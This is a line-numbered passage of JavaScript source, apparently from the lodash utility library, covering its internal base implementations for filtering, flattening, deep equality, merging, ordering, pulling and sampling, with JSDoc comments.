2933 */
2934 function baseFill(array, value, start, end) {
2935 var length = array.length;
2936
2937 start = toInteger(start);
2938 if (start < 0) {
2939 start = -start > length ? 0 : (length + start);
2940 }
2941 end = (end === undefined || end > length) ? length : toInteger(end);
2942 if (end < 0) {
2943 end += length;
2944 }
2945 end = start > end ? 0 : toLength(end);
2946 while (start < end) {
2947 array[start++] = value;
2948 }
2949 return array;
2950 }
2951
2952 /**
2953 * The base implementation of `_.filter` without support for iteratee shorthands.
2954 *
2955 * @private
2956 * @param {Array|Object} collection The collection to iterate over.
2957 * @param {Function} predicate The function invoked per iteration.
2958 * @returns {Array} Returns the new filtered array.
2959 */
2960 function baseFilter(collection, predicate) {
2961 var result = [];
2962 baseEach(collection, function(value, index, collection) {
2963 if (predicate(value, index, collection)) {
2964 result.push(value);
2965 }
2966 });
2967 return result;
2968 }
2969
2970 /**
2971 * The base implementation of `_.flatten` with support for restricting flattening.
2972 *
2973 * @private
2974 * @param {Array} array The array to flatten.
2975 * @param {number} depth The maximum recursion depth.
2976 * @param {boolean} [predicate=isFlattenable] The function invoked per iteration.
2977 * @param {boolean} [isStrict] Restrict to values that pass `predicate` checks.
2978 * @param {Array} [result=[]] The initial result value.
2979 * @returns {Array} Returns the new flattened array.
2980 */
2981 function baseFlatten(array, depth, predicate, isStrict, result) {
2982 var index = -1,
2983 length = array.length;
2984
2985 predicate || (predicate = isFlattenable);
2986 result || (result = []);
2987
2988 while (++index < length) {
2989 var value = array[index];
2990 if (depth > 0 && predicate(value)) {
2991 if (depth > 1) {
2992 // Recursively flatten arrays (susceptible to call stack limits).
2993 baseFlatten(value, depth - 1, predicate, isStrict, result);
2994 } else {
2995 arrayPush(result, value);
2996 }
2997 } else if (!isStrict) {
2998 result[result.length] = value;
2999 }
3000 }
3001 return result;
3002 }
3003
3004 /**
3005 * The base implementation of `baseForOwn` which iterates over `object`
3006 * properties returned by `keysFunc` and invokes `iteratee` for each property.
3007 * Iteratee functions may exit iteration early by explicitly returning `false`.
3008 *
3009 * @private
3010 * @param {Object} object The object to iterate over.
3011 * @param {Function} iteratee The function invoked per iteration.
3012 * @param {Function} keysFunc The function to get the keys of `object`.
3013 * @returns {Object} Returns `object`.
3014 */
3015 var baseFor = createBaseFor();
3016
3017 /**
3018 * This function is like `baseFor` except that it iterates over properties
3019 * in the opposite order.
3020 *
3021 * @private
3022 * @param {Object} object The object to iterate over.
3023 * @param {Function} iteratee The function invoked per iteration.
3024 * @param {Function} keysFunc The function to get the keys of `object`.
3025 * @returns {Object} Returns `object`.
3026 */
3027 var baseForRight = createBaseFor(true);
3028
3029 /**
3030 * The base implementation of `_.forOwn` without support for iteratee shorthands.
3031 *
3032 * @private
3033 * @param {Object} object The object to iterate over.
3034 * @param {Function} iteratee The function invoked per iteration.
3035 * @returns {Object} Returns `object`.
3036 */
3037 function baseForOwn(object, iteratee) {
3038 return object && baseFor(object, iteratee, keys);
3039 }
3040
3041 /**
3042 * The base implementation of `_.forOwnRight` without support for iteratee shorthands.
3043 *
3044 * @private
3045 * @param {Object} object The object to iterate over.
3046 * @param {Function} iteratee The function invoked per iteration.
3047 * @returns {Object} Returns `object`.
3048 */
3049 function baseForOwnRight(object, iteratee) {
3050 return object && baseForRight(object, iteratee, keys);
3051 }
3052
3053 /**
3054 * The base implementation of `_.functions` which creates an array of
3055 * `object` function property names filtered from `props`.
3056 *
3057 * @private
3058 * @param {Object} object The object to inspect.
3059 * @param {Array} props The property names to filter.
3060 * @returns {Array} Returns the function names.
3061 */
3062 function baseFunctions(object, props) {
3063 return arrayFilter(props, function(key) {
3064 return isFunction(object[key]);
3065 });
3066 }
3067
3068 /**
3069 * The base implementation of `_.get` without support for default values.
3070 *
3071 * @private
3072 * @param {Object} object The object to query.
3073 * @param {Array|string} path The path of the property to get.
3074 * @returns {*} Returns the resolved value.
3075 */
3076 function baseGet(object, path) {
3077 path = castPath(path, object);
3078
3079 var index = 0,
3080 length = path.length;
3081
3082 while (object != null && index < length) {
3083 object = object[toKey(path[index++])];
3084 }
3085 return (index && index == length) ? object : undefined;
3086 }
3087
3088 /**
3089 * The base implementation of `getAllKeys` and `getAllKeysIn` which uses
3090 * `keysFunc` and `symbolsFunc` to get the enumerable property names and
3091 * symbols of `object`.
3092 *
3093 * @private
3094 * @param {Object} object The object to query.
3095 * @param {Function} keysFunc The function to get the keys of `object`.
3096 * @param {Function} symbolsFunc The function to get the symbols of `object`.
3097 * @returns {Array} Returns the array of property names and symbols.
3098 */
3099 function baseGetAllKeys(object, keysFunc, symbolsFunc) {
3100 var result = keysFunc(object);
3101 return isArray(object) ? result : arrayPush(result, symbolsFunc(object));
3102 }
3103
3104 /**
3105 * The base implementation of `getTag` without fallbacks for buggy environments.
3106 *
3107 * @private
3108 * @param {*} value The value to query.
3109 * @returns {string} Returns the `toStringTag`.
3110 */
3111 function baseGetTag(value) {
3112 if (value == null) {
3113 return value === undefined ? undefinedTag : nullTag;
3114 }
3115 return (symToStringTag && symToStringTag in Object(value))
3116 ? getRawTag(value)
3117 : objectToString(value);
3118 }
3119
3120 /**
3121 * The base implementation of `_.gt` which doesn't coerce arguments.
3122 *
3123 * @private
3124 * @param {*} value The value to compare.
3125 * @param {*} other The other value to compare.
3126 * @returns {boolean} Returns `true` if `value` is greater than `other`,
3127 * else `false`.
3128 */
3129 function baseGt(value, other) {
3130 return value > other;
3131 }
3132
3133 /**
3134 * The base implementation of `_.has` without support for deep paths.
3135 *
3136 * @private
3137 * @param {Object} [object] The object to query.
3138 * @param {Array|string} key The key to check.
3139 * @returns {boolean} Returns `true` if `key` exists, else `false`.
3140 */
3141 function baseHas(object, key) {
3142 return object != null && hasOwnProperty.call(object, key);
3143 }
3144
3145 /**
3146 * The base implementation of `_.hasIn` without support for deep paths.
3147 *
3148 * @private
3149 * @param {Object} [object] The object to query.
3150 * @param {Array|string} key The key to check.
3151 * @returns {boolean} Returns `true` if `key` exists, else `false`.
3152 */
3153 function baseHasIn(object, key) {
3154 return object != null && key in Object(object);
3155 }
3156
3157 /**
3158 * The base implementation of `_.inRange` which doesn't coerce arguments.
3159 *
3160 * @private
3161 * @param {number} number The number to check.
3162 * @param {number} start The start of the range.
3163 * @param {number} end The end of the range.
3164 * @returns {boolean} Returns `true` if `number` is in the range, else `false`.
3165 */
3166 function baseInRange(number, start, end) {
3167 return number >= nativeMin(start, end) && number < nativeMax(start, end);
3168 }
3169
3170 /**
3171 * The base implementation of methods like `_.intersection`, without support
3172 * for iteratee shorthands, that accepts an array of arrays to inspect.
3173 *
3174 * @private
3175 * @param {Array} arrays The arrays to inspect.
3176 * @param {Function} [iteratee] The iteratee invoked per element.
3177 * @param {Function} [comparator] The comparator invoked per element.
3178 * @returns {Array} Returns the new array of shared values.
3179 */
3180 function baseIntersection(arrays, iteratee, comparator) {
3181 var includes = comparator ? arrayIncludesWith : arrayIncludes,
3182 length = arrays[0].length,
3183 othLength = arrays.length,
3184 othIndex = othLength,
3185 caches = Array(othLength),
3186 maxLength = Infinity,
3187 result = [];
3188
3189 while (othIndex--) {
3190 var array = arrays[othIndex];
3191 if (othIndex && iteratee) {
3192 array = arrayMap(array, baseUnary(iteratee));
3193 }
3194 maxLength = nativeMin(array.length, maxLength);
3195 caches[othIndex] = !comparator && (iteratee || (length >= 120 && array.length >= 120))
3196 ? new SetCache(othIndex && array)
3197 : undefined;
3198 }
3199 array = arrays[0];
3200
3201 var index = -1,
3202 seen = caches[0];
3203
3204 outer:
3205 while (++index < length && result.length < maxLength) {
3206 var value = array[index],
3207 computed = iteratee ? iteratee(value) : value;
3208
3209 value = (comparator || value !== 0) ? value : 0;
3210 if (!(seen
3211 ? cacheHas(seen, computed)
3212 : includes(result, computed, comparator)
3213 )) {
3214 othIndex = othLength;
3215 while (--othIndex) {
3216 var cache = caches[othIndex];
3217 if (!(cache
3218 ? cacheHas(cache, computed)
3219 : includes(arrays[othIndex], computed, comparator))
3220 ) {
3221 continue outer;
3222 }
3223 }
3224 if (seen) {
3225 seen.push(computed);
3226 }
3227 result.push(value);
3228 }
3229 }
3230 return result;
3231 }
3232
3233 /**
3234 * The base implementation of `_.invert` and `_.invertBy` which inverts
3235 * `object` with values transformed by `iteratee` and set by `setter`.
3236 *
3237 * @private
3238 * @param {Object} object The object to iterate over.
3239 * @param {Function} setter The function to set `accumulator` values.
3240 * @param {Function} iteratee The iteratee to transform values.
3241 * @param {Object} accumulator The initial inverted object.
3242 * @returns {Function} Returns `accumulator`.
3243 */
3244 function baseInverter(object, setter, iteratee, accumulator) {
3245 baseForOwn(object, function(value, key, object) {
3246 setter(accumulator, iteratee(value), key, object);
3247 });
3248 return accumulator;
3249 }
3250
3251 /**
3252 * The base implementation of `_.invoke` without support for individual
3253 * method arguments.
3254 *
3255 * @private
3256 * @param {Object} object The object to query.
3257 * @param {Array|string} path The path of the method to invoke.
3258 * @param {Array} args The arguments to invoke the method with.
3259 * @returns {*} Returns the result of the invoked method.
3260 */
3261 function baseInvoke(object, path, args) {
3262 path = castPath(path, object);
3263 object = parent(object, path);
3264 var func = object == null ? object : object[toKey(last(path))];
3265 return func == null ? undefined : apply(func, object, args);
3266 }
3267
3268 /**
3269 * The base implementation of `_.isArguments`.
3270 *
3271 * @private
3272 * @param {*} value The value to check.
3273 * @returns {boolean} Returns `true` if `value` is an `arguments` object,
3274 */
3275 function baseIsArguments(value) {
3276 return isObjectLike(value) && baseGetTag(value) == argsTag;
3277 }
3278
3279 /**
3280 * The base implementation of `_.isArrayBuffer` without Node.js optimizations.
3281 *
3282 * @private
3283 * @param {*} value The value to check.
3284 * @returns {boolean} Returns `true` if `value` is an array buffer, else `false`.
3285 */
3286 function baseIsArrayBuffer(value) {
3287 return isObjectLike(value) && baseGetTag(value) == arrayBufferTag;
3288 }
3289
3290 /**
3291 * The base implementation of `_.isDate` without Node.js optimizations.
3292 *
3293 * @private
3294 * @param {*} value The value to check.
3295 * @returns {boolean} Returns `true` if `value` is a date object, else `false`.
3296 */
3297 function baseIsDate(value) {
3298 return isObjectLike(value) && baseGetTag(value) == dateTag;
3299 }
3300
3301 /**
3302 * The base implementation of `_.isEqual` which supports partial comparisons
3303 * and tracks traversed objects.
3304 *
3305 * @private
3306 * @param {*} value The value to compare.
3307 * @param {*} other The other value to compare.
3308 * @param {boolean} bitmask The bitmask flags.
3309 * 1 - Unordered comparison
3310 * 2 - Partial comparison
3311 * @param {Function} [customizer] The function to customize comparisons.
3312 * @param {Object} [stack] Tracks traversed `value` and `other` objects.
3313 * @returns {boolean} Returns `true` if the values are equivalent, else `false`.
3314 */
3315 function baseIsEqual(value, other, bitmask, customizer, stack) {
3316 if (value === other) {
3317 return true;
3318 }
3319 if (value == null || other == null || (!isObjectLike(value) && !isObjectLike(other))) {
3320 return value !== value && other !== other;
3321 }
3322 return baseIsEqualDeep(value, other, bitmask, customizer, baseIsEqual, stack);
3323 }
3324
3325 /**
3326 * A specialized version of `baseIsEqual` for arrays and objects which performs
3327 * deep comparisons and tracks traversed objects enabling objects with circular
3328 * references to be compared.
3329 *
3330 * @private
3331 * @param {Object} object The object to compare.
3332 * @param {Object} other The other object to compare.
3333 * @param {number} bitmask The bitmask flags. See `baseIsEqual` for more details.
3334 * @param {Function} customizer The function to customize comparisons.
3335 * @param {Function} equalFunc The function to determine equivalents of values.
3336 * @param {Object} [stack] Tracks traversed `object` and `other` objects.
3337 * @returns {boolean} Returns `true` if the objects are equivalent, else `false`.
3338 */
3339 function baseIsEqualDeep(object, other, bitmask, customizer, equalFunc, stack) {
3340 var objIsArr = isArray(object),
3341 othIsArr = isArray(other),
3342 objTag = objIsArr ? arrayTag : getTag(object),
3343 othTag = othIsArr ? arrayTag : getTag(other);
3344
3345 objTag = objTag == argsTag ? objectTag : objTag;
3346 othTag = othTag == argsTag ? objectTag : othTag;
3347
3348 var objIsObj = objTag == objectTag,
3349 othIsObj = othTag == objectTag,
3350 isSameTag = objTag == othTag;
3351
3352 if (isSameTag && isBuffer(object)) {
3353 if (!isBuffer(other)) {
3354 return false;
3355 }
3356 objIsArr = true;
3357 objIsObj = false;
3358 }
3359 if (isSameTag && !objIsObj) {
3360 stack || (stack = new Stack);
3361 return (objIsArr || isTypedArray(object))
3362 ? equalArrays(object, other, bitmask, customizer, equalFunc, stack)
3363 : equalByTag(object, other, objTag, bitmask, customizer, equalFunc, stack);
3364 }
3365 if (!(bitmask & COMPARE_PARTIAL_FLAG)) {
3366 var objIsWrapped = objIsObj && hasOwnProperty.call(object, '__wrapped__'),
3367 othIsWrapped = othIsObj && hasOwnProperty.call(other, '__wrapped__');
3368
3369 if (objIsWrapped || othIsWrapped) {
3370 var objUnwrapped = objIsWrapped ? object.value() : object,
3371 othUnwrapped = othIsWrapped ? other.value() : other;
3372
3373 stack || (stack = new Stack);
3374 return equalFunc(objUnwrapped, othUnwrapped, bitmask, customizer, stack);
3375 }
3376 }
3377 if (!isSameTag) {
3378 return false;
3379 }
3380 stack || (stack = new Stack);
3381 return equalObjects(object, other, bitmask, customizer, equalFunc, stack);
3382 }
3383
3384 /**
3385 * The base implementation of `_.isMap` without Node.js optimizations.
3386 *
3387 * @private
3388 * @param {*} value The value to check.
3389 * @returns {boolean} Returns `true` if `value` is a map, else `false`.
3390 */
3391 function baseIsMap(value) {
3392 return isObjectLike(value) && getTag(value) == mapTag;
3393 }
3394
3395 /**
3396 * The base implementation of `_.isMatch` without support for iteratee shorthands.
3397 *
3398 * @private
3399 * @param {Object} object The object to inspect.
3400 * @param {Object} source The object of property values to match.
3401 * @param {Array} matchData The property names, values, and compare flags to match.
3402 * @param {Function} [customizer] The function to customize comparisons.
3403 * @returns {boolean} Returns `true` if `object` is a match, else `false`.
3404 */
3405 function baseIsMatch(object, source, matchData, customizer) {
3406 var index = matchData.length,
3407 length = index,
3408 noCustomizer = !customizer;
3409
3410 if (object == null) {
3411 return !length;
3412 }
3413 object = Object(object);
3414 while (index--) {
3415 var data = matchData[index];
3416 if ((noCustomizer && data[2])
3417 ? data[1] !== object[data[0]]
3418 : !(data[0] in object)
3419 ) {
3420 return false;
3421 }
3422 }
3423 while (++index < length) {
3424 data = matchData[index];
3425 var key = data[0],
3426 objValue = object[key],
3427 srcValue = data[1];
3428
3429 if (noCustomizer && data[2]) {
3430 if (objValue === undefined && !(key in object)) {
3431 return false;
3432 }
3433 } else {
3434 var stack = new Stack;
3435 if (customizer) {
3436 var result = customizer(objValue, srcValue, key, object, source, stack);
3437 }
3438 if (!(result === undefined
3439 ? baseIsEqual(srcValue, objValue, COMPARE_PARTIAL_FLAG | COMPARE_UNORDERED_FLAG, customizer, stack)
3440 : result
3441 )) {
3442 return false;
3443 }
3444 }
3445 }
3446 return true;
3447 }
3448
3449 /**
3450 * The base implementation of `_.isNative` without bad shim checks.
3451 *
3452 * @private
3453 * @param {*} value The value to check.
3454 * @returns {boolean} Returns `true` if `value` is a native function,
3455 * else `false`.
3456 */
3457 function baseIsNative(value) {
3458 if (!isObject(value) || isMasked(value)) {
3459 return false;
3460 }
3461 var pattern = isFunction(value) ? reIsNative : reIsHostCtor;
3462 return pattern.test(toSource(value));
3463 }
3464
3465 /**
3466 * The base implementation of `_.isRegExp` without Node.js optimizations.
3467 *
3468 * @private
3469 * @param {*} value The value to check.
3470 * @returns {boolean} Returns `true` if `value` is a regexp, else `false`.
3471 */
3472 function baseIsRegExp(value) {
3473 return isObjectLike(value) && baseGetTag(value) == regexpTag;
3474 }
3475
3476 /**
3477 * The base implementation of `_.isSet` without Node.js optimizations.
3478 *
3479 * @private
3480 * @param {*} value The value to check.
3481 * @returns {boolean} Returns `true` if `value` is a set, else `false`.
3482 */
3483 function baseIsSet(value) {
3484 return isObjectLike(value) && getTag(value) == setTag;
3485 }
3486
3487 /**
3488 * The base implementation of `_.isTypedArray` without Node.js optimizations.
3489 *
3490 * @private
3491 * @param {*} value The value to check.
3492 * @returns {boolean} Returns `true` if `value` is a typed array, else `false`.
3493 */
3494 function baseIsTypedArray(value) {
3495 return isObjectLike(value) &&
3496 isLength(value.length) && !!typedArrayTags[baseGetTag(value)];
3497 }
3498
3499 /**
3500 * The base implementation of `_.iteratee`.
3501 *
3502 * @private
3503 * @param {*} [value=_.identity] The value to convert to an iteratee.
3504 * @returns {Function} Returns the iteratee.
3505 */
3506 function baseIteratee(value) {
3507 // Don't store the `typeof` result in a variable to avoid a JIT bug in Safari 9.
3508 // See https://bugs.webkit.org/show_bug.cgi?id=156034 for more details.
3509 if (typeof value == 'function') {
3510 return value;
3511 }
3512 if (value == null) {
3513 return identity;
3514 }
3515 if (typeof value == 'object') {
3516 return isArray(value)
3517 ? baseMatchesProperty(value[0], value[1])
3518 : baseMatches(value);
3519 }
3520 return property(value);
3521 }
3522
3523 /**
3524 * The base implementation of `_.keys` which doesn't treat sparse arrays as dense.
3525 *
3526 * @private
3527 * @param {Object} object The object to query.
3528 * @returns {Array} Returns the array of property names.
3529 */
3530 function baseKeys(object) {
3531 if (!isPrototype(object)) {
3532 return nativeKeys(object);
3533 }
3534 var result = [];
3535 for (var key in Object(object)) {
3536 if (hasOwnProperty.call(object, key) && key != 'constructor') {
3537 result.push(key);
3538 }
3539 }
3540 return result;
3541 }
3542
3543 /**
3544 * The base implementation of `_.keysIn` which doesn't treat sparse arrays as dense.
3545 *
3546 * @private
3547 * @param {Object} object The object to query.
3548 * @returns {Array} Returns the array of property names.
3549 */
3550 function baseKeysIn(object) {
3551 if (!isObject(object)) {
3552 return nativeKeysIn(object);
3553 }
3554 var isProto = isPrototype(object),
3555 result = [];
3556
3557 for (var key in object) {
3558 if (!(key == 'constructor' && (isProto || !hasOwnProperty.call(object, key)))) {
3559 result.push(key);
3560 }
3561 }
3562 return result;
3563 }
3564
3565 /**
3566 * The base implementation of `_.lt` which doesn't coerce arguments.
3567 *
3568 * @private
3569 * @param {*} value The value to compare.
3570 * @param {*} other The other value to compare.
3571 * @returns {boolean} Returns `true` if `value` is less than `other`,
3572 * else `false`.
3573 */
3574 function baseLt(value, other) {
3575 return value < other;
3576 }
3577
3578 /**
3579 * The base implementation of `_.map` without support for iteratee shorthands.
3580 *
3581 * @private
3582 * @param {Array|Object} collection The collection to iterate over.
3583 * @param {Function} iteratee The function invoked per iteration.
3584 * @returns {Array} Returns the new mapped array.
3585 */
3586 function baseMap(collection, iteratee) {
3587 var index = -1,
3588 result = isArrayLike(collection) ? Array(collection.length) : [];
3589
3590 baseEach(collection, function(value, key, collection) {
3591 result[++index] = iteratee(value, key, collection);
3592 });
3593 return result;
3594 }
3595
3596 /**
3597 * The base implementation of `_.matches` which doesn't clone `source`.
3598 *
3599 * @private
3600 * @param {Object} source The object of property values to match.
3601 * @returns {Function} Returns the new spec function.
3602 */
3603 function baseMatches(source) {
3604 var matchData = getMatchData(source);
3605 if (matchData.length == 1 && matchData[0][2]) {
3606 return matchesStrictComparable(matchData[0][0], matchData[0][1]);
3607 }
3608 return function(object) {
3609 return object === source || baseIsMatch(object, source, matchData);
3610 };
3611 }
3612
3613 /**
3614 * The base implementation of `_.matchesProperty` which doesn't clone `srcValue`.
3615 *
3616 * @private
3617 * @param {string} path The path of the property to get.
3618 * @param {*} srcValue The value to match.
3619 * @returns {Function} Returns the new spec function.
3620 */
3621 function baseMatchesProperty(path, srcValue) {
3622 if (isKey(path) && isStrictComparable(srcValue)) {
3623 return matchesStrictComparable(toKey(path), srcValue);
3624 }
3625 return function(object) {
3626 var objValue = get(object, path);
3627 return (objValue === undefined && objValue === srcValue)
3628 ? hasIn(object, path)
3629 : baseIsEqual(srcValue, objValue, COMPARE_PARTIAL_FLAG | COMPARE_UNORDERED_FLAG);
3630 };
3631 }
3632
3633 /**
3634 * The base implementation of `_.merge` without support for multiple sources.
3635 *
3636 * @private
3637 * @param {Object} object The destination object.
3638 * @param {Object} source The source object.
3639 * @param {number} srcIndex The index of `source`.
3640 * @param {Function} [customizer] The function to customize merged values.
3641 * @param {Object} [stack] Tracks traversed source values and their merged
3642 * counterparts.
3643 */
3644 function baseMerge(object, source, srcIndex, customizer, stack) {
3645 if (object === source) {
3646 return;
3647 }
3648 baseFor(source, function(srcValue, key) {
3649 stack || (stack = new Stack);
3650 if (isObject(srcValue)) {
3651 baseMergeDeep(object, source, key, srcIndex, baseMerge, customizer, stack);
3652 }
3653 else {
3654 var newValue = customizer
3655 ? customizer(safeGet(object, key), srcValue, (key + ''), object, source, stack)
3656 : undefined;
3657
3658 if (newValue === undefined) {
3659 newValue = srcValue;
3660 }
3661 assignMergeValue(object, key, newValue);
3662 }
3663 }, keysIn);
3664 }
3665
3666 /**
3667 * A specialized version of `baseMerge` for arrays and objects which performs
3668 * deep merges and tracks traversed objects enabling objects with circular
3669 * references to be merged.
3670 *
3671 * @private
3672 * @param {Object} object The destination object.
3673 * @param {Object} source The source object.
3674 * @param {string} key The key of the value to merge.
3675 * @param {number} srcIndex The index of `source`.
3676 * @param {Function} mergeFunc The function to merge values.
3677 * @param {Function} [customizer] The function to customize assigned values.
3678 * @param {Object} [stack] Tracks traversed source values and their merged
3679 * counterparts.
3680 */
3681 function baseMergeDeep(object, source, key, srcIndex, mergeFunc, customizer, stack) {
3682 var objValue = safeGet(object, key),
3683 srcValue = safeGet(source, key),
3684 stacked = stack.get(srcValue);
3685
3686 if (stacked) {
3687 assignMergeValue(object, key, stacked);
3688 return;
3689 }
3690 var newValue = customizer
3691 ? customizer(objValue, srcValue, (key + ''), object, source, stack)
3692 : undefined;
3693
3694 var isCommon = newValue === undefined;
3695
3696 if (isCommon) {
3697 var isArr = isArray(srcValue),
3698 isBuff = !isArr && isBuffer(srcValue),
3699 isTyped = !isArr && !isBuff && isTypedArray(srcValue);
3700
3701 newValue = srcValue;
3702 if (isArr || isBuff || isTyped) {
3703 if (isArray(objValue)) {
3704 newValue = objValue;
3705 }
3706 else if (isArrayLikeObject(objValue)) {
3707 newValue = copyArray(objValue);
3708 }
3709 else if (isBuff) {
3710 isCommon = false;
3711 newValue = cloneBuffer(srcValue, true);
3712 }
3713 else if (isTyped) {
3714 isCommon = false;
3715 newValue = cloneTypedArray(srcValue, true);
3716 }
3717 else {
3718 newValue = [];
3719 }
3720 }
3721 else if (isPlainObject(srcValue) || isArguments(srcValue)) {
3722 newValue = objValue;
3723 if (isArguments(objValue)) {
3724 newValue = toPlainObject(objValue);
3725 }
3726 else if (!isObject(objValue) || isFunction(objValue)) {
3727 newValue = initCloneObject(srcValue);
3728 }
3729 }
3730 else {
3731 isCommon = false;
3732 }
3733 }
3734 if (isCommon) {
3735 // Recursively merge objects and arrays (susceptible to call stack limits).
3736 stack.set(srcValue, newValue);
3737 mergeFunc(newValue, srcValue, srcIndex, customizer, stack);
3738 stack['delete'](srcValue);
3739 }
3740 assignMergeValue(object, key, newValue);
3741 }
3742
3743 /**
3744 * The base implementation of `_.nth` which doesn't coerce arguments.
3745 *
3746 * @private
3747 * @param {Array} array The array to query.
3748 * @param {number} n The index of the element to return.
3749 * @returns {*} Returns the nth element of `array`.
3750 */
3751 function baseNth(array, n) {
3752 var length = array.length;
3753 if (!length) {
3754 return;
3755 }
3756 n += n < 0 ? length : 0;
3757 return isIndex(n, length) ? array[n] : undefined;
3758 }
3759
3760 /**
3761 * The base implementation of `_.orderBy` without param guards.
3762 *
3763 * @private
3764 * @param {Array|Object} collection The collection to iterate over.
3765 * @param {Function[]|Object[]|string[]} iteratees The iteratees to sort by.
3766 * @param {string[]} orders The sort orders of `iteratees`.
3767 * @returns {Array} Returns the new sorted array.
3768 */
3769 function baseOrderBy(collection, iteratees, orders) {
3770 if (iteratees.length) {
3771 iteratees = arrayMap(iteratees, function(iteratee) {
3772 if (isArray(iteratee)) {
3773 return function(value) {
3774 return baseGet(value, iteratee.length === 1 ? iteratee[0] : iteratee);
3775 };
3776 }
3777 return iteratee;
3778 });
3779 } else {
3780 iteratees = [identity];
3781 }
3782
3783 var index = -1;
3784 iteratees = arrayMap(iteratees, baseUnary(getIteratee()));
3785
3786 var result = baseMap(collection, function(value, key, collection) {
3787 var criteria = arrayMap(iteratees, function(iteratee) {
3788 return iteratee(value);
3789 });
3790 return { 'criteria': criteria, 'index': ++index, 'value': value };
3791 });
3792
3793 return baseSortBy(result, function(object, other) {
3794 return compareMultiple(object, other, orders);
3795 });
3796 }
3797
3798 /**
3799 * The base implementation of `_.pick` without support for individual
3800 * property identifiers.
3801 *
3802 * @private
3803 * @param {Object} object The source object.
3804 * @param {string[]} paths The property paths to pick.
3805 * @returns {Object} Returns the new object.
3806 */
3807 function basePick(object, paths) {
3808 return basePickBy(object, paths, function(value, path) {
3809 return hasIn(object, path);
3810 });
3811 }
3812
3813 /**
3814 * The base implementation of `_.pickBy` without support for iteratee shorthands.
3815 *
3816 * @private
3817 * @param {Object} object The source object.
3818 * @param {string[]} paths The property paths to pick.
3819 * @param {Function} predicate The function invoked per property.
3820 * @returns {Object} Returns the new object.
3821 */
3822 function basePickBy(object, paths, predicate) {
3823 var index = -1,
3824 length = paths.length,
3825 result = {};
3826
3827 while (++index < length) {
3828 var path = paths[index],
3829 value = baseGet(object, path);
3830
3831 if (predicate(value, path)) {
3832 baseSet(result, castPath(path, object), value);
3833 }
3834 }
3835 return result;
3836 }
3837
3838 /**
3839 * A specialized version of `baseProperty` which supports deep paths.
3840 *
3841 * @private
3842 * @param {Array|string} path The path of the property to get.
3843 * @returns {Function} Returns the new accessor function.
3844 */
3845 function basePropertyDeep(path) {
3846 return function(object) {
3847 return baseGet(object, path);
3848 };
3849 }
3850
3851 /**
3852 * The base implementation of `_.pullAllBy` without support for iteratee
3853 * shorthands.
3854 *
3855 * @private
3856 * @param {Array} array The array to modify.
3857 * @param {Array} values The values to remove.
3858 * @param {Function} [iteratee] The iteratee invoked per element.
3859 * @param {Function} [comparator] The comparator invoked per element.
3860 * @returns {Array} Returns `array`.
3861 */
3862 function basePullAll(array, values, iteratee, comparator) {
3863 var indexOf = comparator ? baseIndexOfWith : baseIndexOf,
3864 index = -1,
3865 length = values.length,
3866 seen = array;
3867
3868 if (array === values) {
3869 values = copyArray(values);
3870 }
3871 if (iteratee) {
3872 seen = arrayMap(array, baseUnary(iteratee));
3873 }
3874 while (++index < length) {
3875 var fromIndex = 0,
3876 value = values[index],
3877 computed = iteratee ? iteratee(value) : value;
3878
3879 while ((fromIndex = indexOf(seen, computed, fromIndex, comparator)) > -1) {
3880 if (seen !== array) {
3881 splice.call(seen, fromIndex, 1);
3882 }
3883 splice.call(array, fromIndex, 1);
3884 }
3885 }
3886 return array;
3887 }
3888
3889 /**
3890 * The base implementation of `_.pullAt` without support for individual
3891 * indexes or capturing the removed elements.
3892 *
3893 * @private
3894 * @param {Array} array The array to modify.
3895 * @param {number[]} indexes The indexes of elements to remove.
3896 * @returns {Array} Returns `array`.
3897 */
3898 function basePullAt(array, indexes) {
3899 var length = array ? indexes.length : 0,
3900 lastIndex = length - 1;
3901
3902 while (length--) {
3903 var index = indexes[length];
3904 if (length == lastIndex || index !== previous) {
3905 var previous = index;
3906 if (isIndex(index)) {
3907 splice.call(array, index, 1);
3908 } else {
3909 baseUnset(array, index);
3910 }
3911 }
3912 }
3913 return array;
3914 }
3915
3916 /**
3917 * The base implementation of `_.random` without support for returning
3918 * floating-point numbers.
3919 *
3920 * @private
3921 * @param {number} lower The lower bound.
3922 * @param {number} upper The upper bound.
3923 * @returns {number} Returns the random number.
3924 */
3925 function baseRandom(lower, upper) {
3926 return lower + nativeFloor(nativeRandom() * (upper - lower + 1));
3927 }
3928
3929 /**
3930 * The base implementation of `_.range` and `_.rangeRight` which doesn't
3931 * coerce arguments.
3932 *
3933 * @private
3934 * @param {number} start The start of the range.
3935 * @param {number} end The end of the range.
3936 * @param {number} step The value to increment or decrement by.
3937 * @param {boolean} [fromRight] Specify iterating from right to left.
3938 * @returns {Array} Returns the range of numbers.
3939 */
3940 function baseRange(start, end, step, fromRight) {
3941 var index = -1,
3942 length = nativeMax(nativeCeil((end - start) / (step || 1)), 0),
3943 result = Array(length);
3944
3945 while (length--) {
3946 result[fromRight ? length : ++index] = start;
3947 start += step;
3948 }
3949 return result;
3950 }
3951
3952 /**
3953 * The base implementation of `_.repeat` which doesn't coerce arguments.
3954 *
3955 * @private
3956 * @param {string} string The string to repeat.
3957 * @param {number} n The number of times to repeat the string.
3958 * @returns {string} Returns the repeated string.
3959 */
3960 function baseRepeat(string, n) {
3961 var result = '';
3962 if (!string || n < 1 || n > MAX_SAFE_INTEGER) {
3963 return result;
3964 }
3965 // Leverage the exponentiation by squaring algorithm for a faster repeat.
3966 // See https://en.wikipedia.org/wiki/Exponentiation_by_squaring for more details.
3967 do {
3968 if (n % 2) {
3969 result += string;
3970 }
3971 n = nativeFloor(n / 2);
3972 if (n) {
3973 string += string;
3974 }
3975 } while (n);
3976
3977 return result;
3978 }
3979
3980 /**
3981 * The base implementation of `_.rest` which doesn't validate or coerce arguments.
3982 *
3983 * @private
3984 * @param {Function} func The function to apply a rest parameter to.
3985 * @param {number} [start=func.length-1] The start position of the rest parameter.
3986 * @returns {Function} Returns the new function.
3987 */
3988 function baseRest(func, start) {
3989 return setToString(overRest(func, start, identity), func + '');
3990 }
3991
3992 /**
3993 * The base implementation of `_.sample`.
3994 *
3995 * @private
3996 * @param {Array|Object} collection The collection to sample.
3997 * @returns {*} Returns the random element.
3998 */
3999 function baseSample(collection) {
4000 return arraySample(values(collection));
4001 }
4002
4003 /**
4004 * The base implementation of `_.sampleSize` without param guards.
4005 *
4006 * @private
4007 * @param {Array|Object} collection The collection to sample.
4008 * @param {number} n The number of elements to sample.
4009 * @returns {Array} Returns the random elements.
4010 */
4011 function baseSampleSize(collection, n) {
4012 var array = values(collection);
4013 return shuffleSelf(array, baseClamp(n, 0, array.length));
4014 }
